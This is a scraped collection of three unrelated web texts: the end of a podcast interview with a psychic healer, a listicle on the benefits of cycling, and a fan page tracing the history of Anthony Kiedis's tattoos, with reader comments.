and then we get validated and then we begin to grow in our trust of this other phenomenon that we all have. We’re all psychic, everybody is. Erica Eriksdotter: So, where can people find you, Cherie? We’ve already talked about your services. Are you local? Cherie Young: I have a website and I have a Facebook page. My website is soulseed.wix.com/intradimensionlahealing. Erica Eriksdotter: That’s a pretty long one. Cherie Young: Yes. Erica Eriksdotter: We’ll link to it in the show notes for sure so you guys who are listening, you can visit that. You also have a Facebook page. Cherie Young: Divine Transformation Ministries. Erica Eriksdotter: Yes, so it’s Facebook.com/divinetransformationministry. We’ll link to that one as well. Cherie Young: And, my email is [email protected]. Erica Eriksdotter: Great. We already talked about what you do. You have the one on ones, the workshops. Cherie Young: I do one on one healings Erica Eriksdotter: You have done workshops in Spain. Cherie Young: Yes. Erica Eriksdotter: And there may be an upcoming but there are no dates yet whether it be this year or maybe next year. Cherie Young: Well, we’re working on this spring / summer. Erica Eriksdotter: 2016? Cherie Young: Correct. Yeah, I’m going to go out and it’s going to be a 10-day intensive full series of psychic awareness and opening and the web working training as well. Erica Eriksdotter: Which is the next step. Cherie Young: Yeah, the advanced healing technique. Erica Eriksdotter: Alright. Before we wrap up, anything you want to share? Cherie Young: I’m good. Erica Eriksdotter: That’s it for this episode. Cheri will be back and talk about how certain aspects from pop culture movies actually have some truth to them so we’ll identify that and talk about it. The next episode will feature another guest, but if you have any question for Cherie, you can contact her directly. You have the ways of connecting with her in the show notes. Or, you can submit questions through the form in the show notes as well or via the hashtag #fikapodcast and we’ll make sure that Cherie gets them. You can find me, Erica, at StudioEriksdotter.com. Join my email list if you want to stay up to date. You can access it at the bottom of my website, studioeriksdotter.com and while you’re at it, leave the FIKA podcast and iTunes review. Don’t forget to subscribe too if you want to have them automatically show up on your podcast app and not miss an episode. We greatly appreciate you for listening. Thank you so much wherever you are in the world, we so appreciate you tuning in. Cherie Young: Thank you so much, Erica for having me. Erica Eriksdotter: Thank you, Cherie.

Here it is – chapter and verse covering the sport you adore. You already know that cycling makes you feel good. Sometimes euphoric. Sometimes frustrated. But you strive to reach a state of bliss that can only be realized during a ride in the environment that pleases you most. Cycling delivers fabulous physical benefits, and mental health benefits are as stellar. If you don’t learn something new about the activity you prefer after reading this, we recommend reading it a second time. Let’s get started! Physical health benefits of cycling 1. Weight loss and management According to the UK website Weight Loss Resources, getting your butt on a bike and pedaling at a comfortable speed has the potential to help you burn between 75 and 670 extra calories during a half-hour-long ride. Cycling Weekly says calorie burning is more likely to be 400 and 1000 an hour. Your current weight, the amount of exertion you expend, and your dedication to making this a regular practice will determine which end of that calorie-burning range you achieve. A great way to begin your weight loss journey is by setting goals, and the folks at this website are delighted to help you do just that. Related: Bicycles for Heavy Riders 2. Improves heart health While the figure isn’t new, we were fascinated to find this statistic from the BikeBiz report entitled “Bikes not Fumes,” published in 1992. The report concluded, “If one third of all short car journeys were made by bike, national heart disease rates would fall by between 5- and 10-percent.” Dr. Jeremy Sims, MD supports this statement and adds, “Reducing your weight by 10 percent can decrease your risk of developing heart disease by improving how your heart works, reducing your blood pressure, and reducing the levels of blood cholesterol and triglycerides”. 3. Builds muscles The Bill Bone Bike Law firm focuses its practice on sports injury, thus all of the firm’s attorneys know plenty about muscle building. In their stated opinion, every muscle in the body benefits from cycling, and that includes the most obvious ones: Soleus, and gastrocnemius; Hamstrings and quadriceps; Gluteus maximus, medius, and minimus; Biceps, and triceps; Deltoids; Plantar flexors, and dorsiflexors. Even shifting positions on your bike delivers muscle boosts, they say, so “Whether standing, leaning forward, or ducking on trail rides…these shifts in body movements place pressure on the upper body and help to tone and strengthen the region.” 4. Increases lung capacity According to Bicycling.com columnist Selene Yeager, every time you take a breath, oxygen-rich air is drawn in and carbon dioxide waste is expelled. Start pedaling and this exchange begins to impact your heart and muscles because you use more lung space. As your heart rate increases, abs “spring into action” as your lungs pull in more air, but not all of it is pristine. By inhaling what Yeager calls “gunk,” the body calls up mucus reserves to help rid lungs of junk, and as this happens, lung capacity increases. In fact, a Respiratory Physiology and Neurobiology study concluded that 12 weeks of high-intensity interval training can improve your lung capacity even more. 5. Decreases cancer risk Research conducted by the University of Glasgow and published in the British Medical Journal “found that compared to “a non-active commute,” riding a bike to work is associated with a 45 percent lower risk of cancer and a 46 percent lower risk of heart disease.” That was no wimpy study. More than 264,000 people were tracked for five years, and the results were so stunning, that the cycling community took an interest in these findings. “Walking to work was associated with a lower risk of heart disease, but unlike cycling, [walking] is not associated with a significantly lower risk of cancer or overall death,” said researcher Carlos Celis-Morales. There you have it. Forget walking and ride your bike instead! 6. Delivers a low-impact workout Health.com editors want you to know that cycling makes a great low-impact form of exercise because you’re able to “work up a sweat without stressing your joints” (). You enjoy the benefits of an outdoor sport that’s invigorating “without feeling like you’re working that hard.” If your joints appreciate a low-impact ride being confined to an exercise bike sounds awful because you’re confined inside, here’s a justification for taking a pass on a recumbent bike: When trained cyclists took two, 40-kilometer rides (one indoor; one outdoor) “at the same perceived exertion,” the outdoor riders produced 25-percent more power than their indoor comrades. Want more power? Get outside. 7. Strengthens your immune system You probably don’t subscribe to the journal “Aging Cell,” but for those who do, a few surprises await for those who believe that nothing strengthens the human immune system like a consistent cycling regimen. The Guardian noted that cycling has the potential to rejuvenate the immune system, citing the experiences of 125 amateur cyclists between ages 55 and 79 who were compared with healthy individuals of the same age set. Read more: Healthy Grocery List for Cyclists Professor Janet Lord, director of the Institute of Inflammation and Aging at the University of Birmingham, discovered that while the thymus (the organ producing T-cells) usually starts shrinking at age 20, “the thymuses of older cyclists were found to be generating as many T-cells as those of young people.” 8. Increases life expectancy In addition to benefiting the immune system, cycling can help increase life expectancy. Brogan Driscoll, writing for the UK edition of the Huffington Post, followed that thread and found data likely to impress you and your biking mates: Read more: Best Electric Bikes for Seniors - For every hour you cycle, you get an hour more of living, say University of Utrecht researchers - Dutch cyclists live six months longer than non-bikers, according to the World Health Organization (WHO) - Tour de France competitors may live up to 8 years longer than average, according to the International Journal of Sports Medicine. Mental health benefits of cycling 9. Improves mental health and well-being Can you ask your therapist for a prescription for a bicycle rather than a pharmaceutical? You can try it. MensLineAustralia.com reports that cycling is “particularly useful for positive mental health [because] the rhythmic, aerobic and low impact nature of cycling, much like other motor skills, has known brain-boosting benefits”. Included on that list of perks are mood improvement, the release of healthy doses of endorphins like dopamine, norepinephrine, and serotonin that kick in while riding and for many, self-esteem increases while anxiety and stress decrease. Can anything be more mentally uplifting than achieving cycling high? We don’t think so! 10. Boosts your brain power If you’ve grown weary of searching for memories or things, you could use a boost in the creativity department, or you’re just interested in enhancing the power of your mind, you’ve already got the right tool in your possession to achieve these goals. Grab your wheels and once your mind relaxes, creativity has been known to kick into overdrive and the brain is capable of stabilizing itself so ideas, solutions and intellectual performance skyrockets. The aforementioned MensLine post notes, “Cycling can grow your brain in the same way it can grow your muscles. Blood flow increases just as it does with the muscles, bringing in more oxygen and nutrients that improve its performance. Riding increases the production of proteins used for creating new brain cells by two or three times the norm! It also increases the activities that allow different regions of the brain to communicate more effectively.” 11. Lowers risk for developing Alzheimer’s and Parkinson’s diseases The National Institutes of Health’s Library of Medicine published a Brain Conductivity study that concluded that “forced-rate lower-extremity exercise has recently emerged as a potential safe and low-cost therapy for Parkinson’s disease (PD). The efficacy is believed to be dependent on the pedaling rate, with rates above the subjects’ voluntary exercise rates being most beneficial.” Read more: How to Choose an Electric Bike Using magnetic resonance imaging (MRI) tools to measure study participants’ progress, researchers found “a strong positive correlation” between pedaling rate and improvements seen in study participants. Ditto positive studies on the relationship between bicycling and dementia. Perhaps the most compelling commentary comes from this blog post – “When I cycle, I push dementia away“. 12. Serves as an anti-depressant When world-renowned cyclist Marco Pantani committed suicide nearly 20 years ago, depressive illnesses in athletes rarely made headlines. Pantani left a note that read, “I’m all alone.” That from a competitor whose fall from grace and ultimate death might have been prevented had he been the beneficiary of an intervention, anti-depressant drugs or psychiatric treatments. Can cycling alone put an end to depression? It’s unlikely, say experts, but in concert with a proper drug regimen and/or counseling, cycling benefits include the aforementioned bursts of dopamine, norepinephrine, and serotonin that in concert with professional help deliver a more complete therapeutic program than relying only on drugs or counseling. 13. Helps manage stress You won’t find a more enthusiastic proponent of bike riding that Matthew Barbour whose BikeRadar.com post on using a bike to beat stress is delightfully short and to the point. In his opinion, “your two-wheeled habit can be as good for your mental health as it is for your body.” Barbour quotes Neil Shah of the Stress Management Society to prove his point: “Cycling is one of the most effective treatments for stress and in many cases has been proven to be as effective as medication – if not more so.” Shah says that more doctors are prescribing biking to combat stress. He adds, “Riding a bike is ideal because it’s so accessible and achievable – and the mountain of scientific evidence pointing towards its stress-busting properties is growing by the day.” Convinced? You should be. 14. You can eat more It’s pretty hard to ignore an online article entitled “Cyclists Eat Too Much!” But professional trainer Chris Carmichael has lots to say on the topic. Can you increase your calorie intake if you use bicycling to get you from couch potato to active? You can. But according to Carmichael, .” Read more: Porridge Breakfast – The Best Breakfast for Cycling Not necessarily, he says. .” It can’t hurt to try this and see how it works for you. 15. Get better sleep If you’re a card-carrying member of our sleep-deprived society, you’ll be delighted to learn that by developing a regular cycling schedule you can also improve the length and quality of your sleep. Regular riding synchronizes circadian rhythms that have been proven to help reduce the stress hormones that are often the culprits behind lousy sleeping patterns. A healthy dose of riding doesn’t mean you won’t snooze if you don’t spend hours on the bike. Just 30 to 60 minutes of pedaling at a decent pace (you make that decision as you increase your time on the bike) from three to five days a week should lead to better sleep, and you are likely to enjoy more restorative sleep, and who among us can’t benefit from high-quality slumber? Social benefits of cycling 16. Improve your sex life We’re spreading the good news that sex and cycling are a sublime match. “In men, regular exercise appears to be a natural Viagra: It’s associated with a lower risk of erectile problems. Research on women found that those who are physically active report greater sexual desire, arousal, and satisfaction than women who are sedentary.” Just 20 minutes of intense cycling pushed female subjects’ sexual arousal buttons into the stratosphere as more blood was directed to lady parts that set up a chain reaction leading to heightened desire. Harvard University experts agree: “20 minutes of cycling boosted women’s sexual arousal by 169-percent. 17. Grow your social circle Cyclist Andy Levine says that from the moment he took up cycling, he saw myriad aspects of his life improve. One of the biggest boons was an enhanced social life born of hanging out with like-minded people who never met a bike they couldn’t fall in love with. Interviewed by the folks at NutritiousLife.com, Levine enthuses, “Cycling is a lifestyle, and the sense of community among cyclists is incredibly strong. Related article: Our favorite tandem bikes Personally, my social life revolves around cycling”. “It’s also a great common ground for networking,” he adds. Asked to sum up his passion for cycling as a social connection, he says, “The simplest way to explain it is that biking brings people together.” You probably agree. 18. Ride with your partner In the category of “making and breaking relationships,” a shared interest in cycling can create a strong bond for many reasons (though if your relationship is rocky, your bike can’t perform miracles). Website writer Adam Marsal tells WeLoveCycling.com readers that “Regular cycling raises the presence of natural happiness hormones in the blood, which make cyclists content with their life and, subsequently, with their relationships. Moreover, regular cycling increases sexual libido, which means there’s no ultimate need to search beyond your own relationship, especially after long afternoon rides.” But you already knew that, right? 19. Cycle with your kids Whether you are new to the saddle or you’ve just discovered the joy of riding, you may be considering cycling with your kids. Your instincts are right on, savvy parent. Create a shared experience, and both of you benefit, but kids benefit most, say Sustrans.com researchers. Related: Best bikes for teens According to this nonprofit group, starting kids young can up the bonds created between parents and kids in addition to setting a good example of the importance of physical activity. Kids who ride with parents gain the confidence they need to grow into healthy adults, and the ecological benefits you and your kids receive are priceless. A wondrous world awaits your children; one best explored when you ride together. Economic benefits of cycling 20. Save time on short commutes For short commutes, bikes are the hands-down favorite of folks who are delighted to leave home a few minutes earlier to get to work or social engagements without the hassles of gassing up, parking fees, wear and tear on an automobile, insurance, and traffic. A recent study found that bikers “were the only commuters who genuinely enjoyed their commute, regardless of its length”. In fact, 19-percent of bike commuters described their ride to work as “their most delightful daily activity,” says Lauren Barret, writing for MoneyUnder30.com. “Only 2 percent of drivers could say the same,” she added. 21. Bikes cost less than cars You can count on the American Association of Retired People (AARP) to put the interests of members front and center on all matters, and when it comes to recommending bikes over cars, AARP columnist Jeff Yeager has proven that it’s possible to “pedal your way to more spending power” if your lifestyle is conducive to biking over driving. Citing American Automobile Association statistics, Yeager writes “the average cost for an American driver to own and operate a car was about $8,558 in 2016. In comparison, some estimates put the average cost of owning and operating a bicycle at $350 a year”. That means you could own a fleet of bikes, maintain them all and still have plenty of money left over for a daily Starbucks stop. 22. No gas money and cheaper maintenance If you hesitate to open your monthly credit card statement because you know that many of the charges are for gas fill-ups, routine maintenance and repairs, wouldn’t you rather bike to work and kiss car-related expenses goodbye? If you’re the practical sort and can think of a million reasons to make the trade, perhaps you need a dollars-and-cents comparison to convince you of its merits. Visit the Car vs. Bike Calculator website and, “in just a few seconds, you can determine the effect cycling would have on your life – and convert the hours spent on a bike into trees or additional hours of life.” Potential savings might astonish you. 23. No parking spaces required Consider the New York City neighborhood empowerment effort that addresses the issue of secure parking for cyclists. City planners launched a robust effort to increase the number of bicycle racks, and bike corrals and cities like Chicago followed suit. The Windy City “just installed 427 bike racks in one month. Another 4,000 racks and 200 on-street bike corrals [are slated to be added] by 2021, proving that where there’s political will there’s a way”. These efforts are a direct result of public pressure. Why not add your voice to this important topic? Read more: Best Electric Bikes under $1000 in 2021 24. No insurance coverage needed The State Farm Insurance Company has a vested interest in helping their policy holders ride bikes over driving cars, even though it means that the company generates less revenues because bikers don’t need insurance to indemnify their bikes from a long list of potential hazards. As a result of this concern, the State Farm offers dedicated pages to cyclists that relate to all aspects of bike riding that run the gamut from keeping kids on bikes safe to providing tips to commuters. Take a good look at your next premium notice. Imagine what you could do with that money. And if you do need a car on occasion, rent one and get coverage for the time you need four wheels rather than two! 25. Spend less money on healthcare According to financial guru Leon Kaye, health coverage costs can be profoundly impacted if employees ride bikes to work. Kaye points to a seminal study conducted by Dr. Thomas Gotschi that substantiates savings in health care costs at between “$138 to $605 million by 2040.” Those savings, adds Gotschi, can result in health care cost savings of from $388 to $594 million annually. Dr. Gotschi’s research reveals that just half an hour of bicycling daily can result in health care savings of $544 per person, per year — not an insignificant amount in an era of rising premiums. Enviromental Benefits 26. Reduce your carbon footprint You don’t have to picket nuclear reactor sites or lobby Congress to show your passion for Mother Earth. Every time you choose your bike over your car, you join a universe of like-minded people who strive to reduce their carbon footprints every day. “If you are looking to reduce your carbon footprint, reducing or eliminating your automobile travel is a great way to do it and research proves that it does have an effect,” say folks compiling statistics for OurStreetsMPLS.com, a nonprofit organization that is devoted to all aspects of the environment. CO2 release per kilometer from cars is 271g while the CO2 release from bike riders is 16g – and that number only exists because riders eat! Read more: How to Remove Speed Limiter on Electric Bike 27. Help reduce fossil fuels The city of Berkeley, California adopted a “take no prisoners” resolution calling for an 80-percent reduction in fossil fuels as a direct result of the dramatic increase in climate-related catastrophes in 2019. The Council issued a declaration ( PDF ) based on escalating temperatures and while this is still a work in progress, the city striving to become 100-percent fossil-free by 2030. Among the goals of this initiative are plans to “Build all high priority projects in the city’s bicycle, pedestrian, and BeST plans including tier 1 projects in the bike plan by 2025.” What measures is your city taking to emulate this type of effort? 28. Contribute to noise reduction efforts According to the European Cyclists’ Federation, the Coronavirus lockdown short-circuited traffic noise so much, “new soundscapes” arose. Eulalia Peris, an EEA environmental noise expert, collected data that includes these esoteric notes: “Soundscapes have given way to new melodies: birdsongs, people talking, etc.” Read more: Electric Bike vs Car – Can an E-Bike Replace Your Car? People report that “birds are louder.” By removing a “habitual layer of urban noise, mainly produced by transportation sources, even seismologists … hear the earth better” (). It shouldn’t take a pandemic to awaken the world to this phenomenon, but who better to turn the sound pollution dial down than people choosing bikes over cars? 29. Can biking reduce smog? While there is no direct relationship between smog reduction and riding bikes, says CityMetric.com analyst Laura Hancox, once combustion engines go the way of the Dodo bird, expect improved air. Consequently, cyclists should take every precaution available when atmospheric conditions like smog are present. Hancox salutes cyclists who resemble Darth Vader because that means they’re proactive about protecting themselves when they ride. Recommending proper protection masks “that cover[s] a significant part of the cyclist’s face,” Hancox also suggests investigating other ways to stay safe. Find alternate commute routes that aren’t as heavily trafficked, check air quality forecasts before you go out and slow down your pace to reduce exertion that forces your lungs to process polluted air. 30. Bikes take up less space than cars To prove that point, CityMetric staffers took a close look at efforts around the globe to call attention to how much space automobiles hog, especially when compared to bikes. Check out this “arrogance of space” diagram. It shows you, in graph form, how the city of Paris allocates street space, and it drives home the need to devote more space to bike parking. The movement toward fewer cars and more bikes is growing stronger. One study in Latvia concluded that “a single parking space … could store 10 to 15 bikes.” Imagine the number of bikes that could find homes if automobile parking lots designated a portion of their facilities to bike-only spaces. 31. Bikes lower the rate of animal roadkills Ben Goldfarb, writing for The Atlantic magazine, concluded that pandemic lockdowns “could be the biggest conservation action in a century”. All manner of wildlife are benefiting from less car traffic. “ Read more: 7 Best Cycling Water Bottles in 2021 Roadkill’s decline is so significant precisely because its impacts are ordinarily so catastrophic,” Goldfarb notes, citing a recent study that concluded that “cars crush about 200 million birds and 30 million mammals in Europe every year; in the United States, the toll has been estimated, albeit imprecisely, at more than 1 million each day.” You don’t have to love squirrels to be averse to running them down, after all. Covid and social distancing 32. Is it safe to ride outside? If it feels like the Covid-19 pandemic highjacked your life, you’ll be glad to know that anyone intent upon keeping up with their cycling activities can do so, say folks at the California Bicycle Coalition (CBC). That stated, you’ve still got to take safety measures if there’s a chance you will encounter people. The CBC recommends wearing proper athletic face math that wicks moisture to keep you comfortable, and if masks don’t work for you, substitute a bandana or scarf that covers your nose and mouth. 33. Must I wear a mask while riding my bike? While masks don’t offer guarantees when it comes to asymptomatic spread, you show the world that you care about the people you encounter on your group rides if you wear one. If you ride solo the mask is not needed in most cases ( depending on the current mandatory mask situation in your state ). Need recommendations for the types of masks that best suit athletes? Turn to Rolling Stone for the publication’s inciteful article on fit, face, and facts. 34. Are group rides safe? The safest way to ride is solo. But if you want to bike with your posse without wearing face masks, you will take a risk. That said, the rate of infection within the area of the country you call home should be a determining factor when you debate this topic. For a more nuanced conversation about this, check this article. For a legal take on the topic, these BikeLaw.com tips can help you decide, too. 35. How about public bike shares (e.g., Citibike)? Once again, we turn to Bicycling.com for their take on public bike shares like CitiBike and learned that it is possible for ill people to leave their infection on handlebars and other frame areas, but “If you go over surfaces with antibacterial wipes, that should protect you against being exposed”. Here’s good news: a recently published study proves that surfaces exposed to sunlight for between 11 and 34 minutes can eradicate 90-percent of pathogens left on surfaces. But unless you intend to watch a bike in the sun for 34 minutes before you rent it, wipe it down with sanitizer, don’t touch your face until you’ve washed your hands and wearing gloves when you ride is a great idea, too. Read More on Health & Nutrition What Temperature Is Too Hot for Cycling – Learn what temperature is considered too hot for cycling. How Can You Prevent Injury While Cycling – Check out our tips and tricks on how to prevent cycling injuries. Is Biking Good for Seniors? – If you’re a senior wondering if cycling is a good sport for you, check our dedicated question-answer blog post. Is Coffee Good For Cyclists? – Coffee and bicycles go hand in hand. But is coffee perfect for cyclists, or there are some facts you need to know?

Fifty: Penthouse January 2002 Credit: Blackie Dammett Photo showing progression of tattoos Overview: Anthony Kiedis has 11 (visible) tattoos: 1. Large stylized bird/North west Pacific design on back 2. An Indian chief at the top of each arm 3. A Celtic style band on each arm 4. A dagger on each arm. 5. A tiger on the inside of his right arm 6. A koi carp (and flower) on the inside of his left arm. 7. The Chili asterisk/star of infinity. 8. Pyramid on his chest. The majority of Anthony’s tattoos are in black ink although the two inner arm ones are coloured and his latest one is just red. His arm tattoos are symmetrical in layout across his both arms with balanced, but not identical, designs. The pyramid tattoo is the odd one out in terms of symmetry. Many of the designs reflect aspects or stages of his life e.g. his North American heritage (on his maternal side) is reflected in the Indian chieftain designs. Several of his tattoos were drawn by Hanky Panky (real name Henk Schiffmacher), a tattooist based in Amsterdam, The Netherlands, with Kiedis using touring as a chance to fit in visits when possible. “On our visits to Amsterdam, I had befriended an amazing tattoo artist named Hank Schiffmacher. Hank, also known as Henky Penky*, was an icon of his country-an underground philosopher, artist, Hell’s Angel associate, booze hound, drug hound, girl hound, an absolute rapscallion of Dutch proportions. Over the years, Hank had injected much ink into my skin, and in the process, we’d become close.” ‘Scar Tissue’ Anthony Kiedis with Larry Sloman; page 303 (* It states Henky Penky in ‘Scar Tissue‘, I’ve seen the name given as Henky Panky and Hanky Penky, but Henk Schiffmacher’s website states Hanky Panky. Likewise the website and his book gives his name as Henk (not Hank). Anthony Kiedis: Tattoo History Please note: It’s hard to date Anthony’s tattoos exactly; using photographs can be problematical as the issue date can be different to the time they were taken so unless it’s at recognisable event, photos are not necessarily the best source for dating and there is very little mention of Anthony’s tattoos in his interviews. Unless a reference is given, most of the details below are based on concert videos. First Tattoo: Chief Sitting Bull (upper right arm) This tattoo was completed sometime between the end of 1987 and the beginning of 1988. There are few videos of this time of sufficient quality to check tattoo details but there’s a video from August 1987 (Arsenio Hall) and Anthony’s arms are definitely bare. There is a video from the following month taken at Vision Skate Escape, LA, on September 20th, showing the tattoo but there are other videos with a later given date that show his arm to still be bare and the Skate Escape video was later re-released with extra footage added so it’s hard to know which video is accurate. However, the tattoo is definitely visible on a confirmed video from February 1988 taken at Eindhoven. Photo showing first tattoo of Chief Sitting Bull while the second tattoo is being completed. (source unknown*) Second Tattoo: Chief Joseph (upper left arm) This was completed sometime between February 1988 (the same video from Eindhoven shows Anthony’s left arm to be bare) and June 1988 as there’s a clear video from the Pinkpop Festival in The Netherlands showing it (Anthony’s back is clear at this date so work on his back tattoo hasn’t begun at this point). Third Tattoo? Back Design In the left corner sits the owner of the emporium, Hank Schiffmacher, his brow furrowed in concentration. A grizzled bear of a man, the Da Vinci of the tattooing world, Hank screes the gun across the back of Antwan. The Red Hot Chili Pepper’s singer remains as impassive as a cliff-face. He’s been here before, knows the pain factor involved. Hank has been working on the massive cubic native-American Indian image on the vocalist’s back over a period of several years. Source: NME February 1990 The earliest clear evidence for Anthony’s asterisk tattoo is from 1989 so I’m assuming the back tattoo was the next one to be started although it took many sessions for it to be completed. The back tattoo was started sometime after Pinkpop in June 1988 (the video from that concert shows no tattoo) – probably immediately afterwards as Kiedis fitted in visiting to the tattooist while touring in the area. “On that first trip to Holland (around the Pink Pop Festival dates in Finland), however, Kiedis was preparing to endure the fist pricks of the enormous cubic Indian totem image that would eventually engulf his back. Schiffmacher told him it would be the work of many visits, each one time-consuming (up to six hours at a time) and also very painful. Kiedis replied, jokingly, that given his own schedule, it would also take several years.” Red Hot Chili Peppers By The Way: The Biography by Dave Thompson; page 120-1 There are various online interpretations as to the origin of the design. The most common views are that it is of an Inca/Aztec falcon but some people claim it is a Haida thunderbird or a totem pole design. In a video, Anthony states that it is a design from the north-west Pacific area. Fourth Tattoo? Asterisk (wrist, right hand) This is Anthony’s smallest tattoo but probably the most significant to RHCP fans and probably the most copied among the fan base. The earliest clear evidence I can find for Anthony’s asterisk tattoo is from early 1989 (but it might have been from the end of 1988; I can’t see it in a video before that then). I’m assuming that work began (if it was not completed) on the back tattoo before this one was started, but that is an assumption. Whenever it was completed, it’s clearly visible on a video from March 1989 (Austin, Texas) The meaning of the asterisk is another one of RHCP’s legends! The most accepted explanation is that someone wanted a t-shirt design early on in the band’s career and that Anthony came up with this symbol apparently based on the Star of Affinity/Chaos according to an explanation he gave at some point. However, it seems that the band got fed up with explaining the meaning and started offering alternatives including the infamous explanation that it represents an angel’s asshole! Fifth Tattoo: Celtic Style Band (upper right arm) Completed early 1990. This tattoo is not visible when the Chili Peppers were playing Kawasaki in January 1990 but it is visible on the footage from the UK TV Jonathan Ross Show in February of that year. The band incorporates a fleur de lys style design. In a video, he states that the design comes from Borneo. Sixth Tattoo: Dagger (left arm) The next tattoo added was the first of the pair of daggers. I’d always assumed they were of Celtic influence but I’ve read (Kerrang! Legends RHCP Edition) that they are a Maori design symbolizing love. The tattoo was completed by February 1996 (Madison Square Garden concert) although it seems likely that it was done in/by 1995. A previously unseen video clip has recently emerged that is titled as being from the unreleased Deep Kick documentary which was due for release in 1995. Seventh Tattoo: Celtic Style Band (upper left arm) This tattoo can clearly be seen at the Fuji Rock Festival in June 1997 (earliest evidence I can find but again, it could have been before this date). It mirrors the band on the other side but features a heart rather than the fleur de lys style design. Eighth Tattoo: Dagger (right arm) By September 1988, the second dagger has been added. (Stockton concert) Ninth Tattoo: Tiger (inner right forearm) Apparently added in 2001, symbolizing several things: “A tiger, added in 2001, was to help him get over the pain of creaking up with his girlfriend, and represents both his Chinese birth sign and the Thai tradition of tigers bringing longevity and protection to the wearer- and he enjoys adding the detail that he is Tony the Tiger, the cartoon cat from the Kellogg’s Frosties add.” ‘Inside the Veins of the Velvet Groove’ by Martin Roach Tenth Tattoo: Koi Carp (inner left forearm) The koi carp was the final addition and was added in 2006: “He obligingly reveals the latest tattoo on his famously inked-up body: a beautifully rendered koi fish on his forearm. It’s a symbol of overcoming adversity,” he says. “Of swimming up current, so to speak.” Blender March 2007 interview The tattoo seems to have been added sometime early on in 2006. I think it’s visible on the Dani California video but it’s definitely on the Tell Me Baby video which was released in July 2006. 11th Tattoo: Pyramid Outline Anthony got another tattoo, in March 2019, while RHCP were in Cairo for the concert at the pyramids. Once again, the tattoo was the work of Henk Schiffmacher who joined the band in Egypt with a number of other long-time friends (it was assumed this would feature in the documentary that was made of the concert, although it seems unlikely now that it will ever be released given the change in guitarists). It is an outline of a pyramid in red presumably in reference to the location of the concert. While tattooing the band, Henk was photographed with this book and it seems likely that he used it as a guide: Please note: I have tried to make this information as accurate as possible ; if you have any additional information, or want to point out any mistakes, please contact me. I have tried to use my own photos where possible. Source unknown*-Please contact if you would like a photo credited or removed. Hi. I was just wondering if you could tell me who got their asterisk tattoo first: Anthony or John Frusciante. I always thought it was John, he has had a huge influence on my life through his music, and have thought about getting the tattoo. If you could let me know it would be hugely appreciated. I need to check that- I have no idea; have just logged on to have a quick look before I go down to London for the weekend; can I get back to you next week (if nobody else answers?) Sorry to tell yall this but Anthony got his first and and then John. Flea Chad and Josh never got the tattoo of the asterisk. Now that John has left Anthony is the only one in the band with the asterisk. John added the tatto around 1992, just confer “Funky Monks documentary” John was one who got first that Anthony! th Thanks! I’ll go and have a look when I get five minutes. I wan’t to get the same tattoo as well for the same reason. Hope you get it:) I can’t find anything definite; sorry. I’m assuming it’s Anthony. Have just scanned an article (was hanging on for it to see what it said exactly) and added a link to the article but it’s vague. I think it was Flea first, and then AK- remember reading something about it once but can’t remember where. I’ll update if ever I find it… but it’s THINK; sorry don’t know for sure. I have one other person to ask so I’ll see if they know any more. We can see the asterisk tattoo on Anthony’s arm on the video of « Behind the sun » in 1987 (the guitarist was Hillel Slovak). So it’s seems that Anthony got it first. I keep meaning to watch all of the videos in date order to work out dates for tattoos but I don’t think this helps in this case. Although the song was recorded in 1987, the video wasn’t made until ’92 as part of the ‘What Hits!?’ promotion using earlier footage (you can even see Chad in it and he didn’t play on the original song). But thanks anyway! Maybe they got it together? Maybe even in Amsterdam by Hank Shiffmacher? Neither Anthony or Johan had the asterisk beginning of june 1989, live show at George Mason University, Fairfax, VA, USA (this one is the clearest video, only thing is that it mentions a wrong place and date:). Then both of them had it almost 3 months later august 1989, live show at Dam Square, Amsterdam () The video where you say it is clearly visible (Austin, Texas) says it was the beginning of october 1989, not march 1989 () Thank you! Does anyone know what his left arm bicep means ( the heart / broken heart ). It’s super nice : ) I’ve never read anything as to it’s meaning; I don’t know if anyone else has? I read somewhere that the bands were designed to fit in with the other tattoos and be symmetrical but nothing as to why the Fleur de Lys and the broken heart were incorporated into them. Damn ! No one seems to know , and I’m really considering getting it , I love the design and have major respect for AK. It may say it in scar-tissue , will have to give that a read! I’ve re-read Scar Tissue in detail recently and I’ve seen nothing in it; was looking for info for the articles on this site so I would have quoted it if there was anything about the tattoos. When I get a few minutes, I will look through some of my other RHCP books- one has got a bit about tattoos in it (there’s the quote in this article. I copied that when I wrote the first version of this tatto article for another website a couple of years ago; I haven’t read the book since so there may be more in it). The other place where there might be info, is in the magazine articles. I haven’t used them for info (yet! Reading them all and taking quotes/info from them is on my loooong list of things to do!) But it might be worth having a glance at them – are even more on my other website thechilisource.com ! If I ever find anything, I will update this. It’s a really cool design! 😀 Thank you , it sounds like you have a real passion for the chili’s. I will keep searching also. Looking forward to the new album and interviews to follow! If only we could ring him up eh ! Think RHCP has taken over my whole life at times…. hehe! Happy hunting! 🙂 I love the peppers!! And his tattoos. I have read “Scar Tissue” and am about to start it again. Glad to know I am not the only one… I Love Anthony’s tattoo,especially the Totem..but he doesen’t have earrings? I don’t think he does; I can’t remember ever seeing him with them but I’ll double check with a few people and get back to you (might be next week as I’m going away for a few days over Easter). Sorry… no he doesn’t he never worn it?Anyway his style is really cool.Thank you so much! i’m really sorry,this is my last question!He didn’t wear an earring or he does not like it?Thank you so much! that. I would be interested to know if Tone has a small Ant tattoo on one of his arms. My brother tells a story of spending time with him in singapore on a Chili’s tour some years ago. The tattoo was done in about 20 minutes by Singapore Tattooist Tommy Two Thumbs. Love to get picture/confirmation of that. Never heard of it or seen it but I’m going to check that one out for you; give me a couple of days and I’ll see what I can find out. I’ve asked my two AK experts and both are saying they know nothing about such a tattoo and there’s nothing on any photo, I or they, have ever seen. Does anyone know who’s asterisk is on the back of the bssm album, and what colour it is, cause wherever I look people say black, but on the album sleeve it doesn’t look like a full on black, it looks kinda faded, which is the effect grey ink gives (my girlfriend had a tattoo with grey ink), I really like the one on the back of the bssm album cover, it’s the perfect size (a lot of people have it done too big in my opinion) and as I said, I prefer the shade over a jet black colour, thanks. Asking around, the general consensus seems to be to that it’s AK’s (seems to be nothing definite though that I can find); only he and John have the asterisk on their wrists. They both have the tatts on their right wrist so no help there but JF’s does look marginally lower down than AK’s. BSSM back cover: AK’s hand (seems same shape hand and tatt position): John’s hand has longer fingers: As for the colour, both JF’s and AK’s vary from photo to photo-I’ve looked at that many tonight lol! I think you should go for what suits you-add your own twist on it! 🙂 Watch someone prove me wrong now lol but that’s what some of us here think! If I find anything more/definite, I’ll update. Haha, thank you so much! I think I’ll probably go for the same shape and size as AK’s then, but in a grey colour. I just love exactly how it looks on the 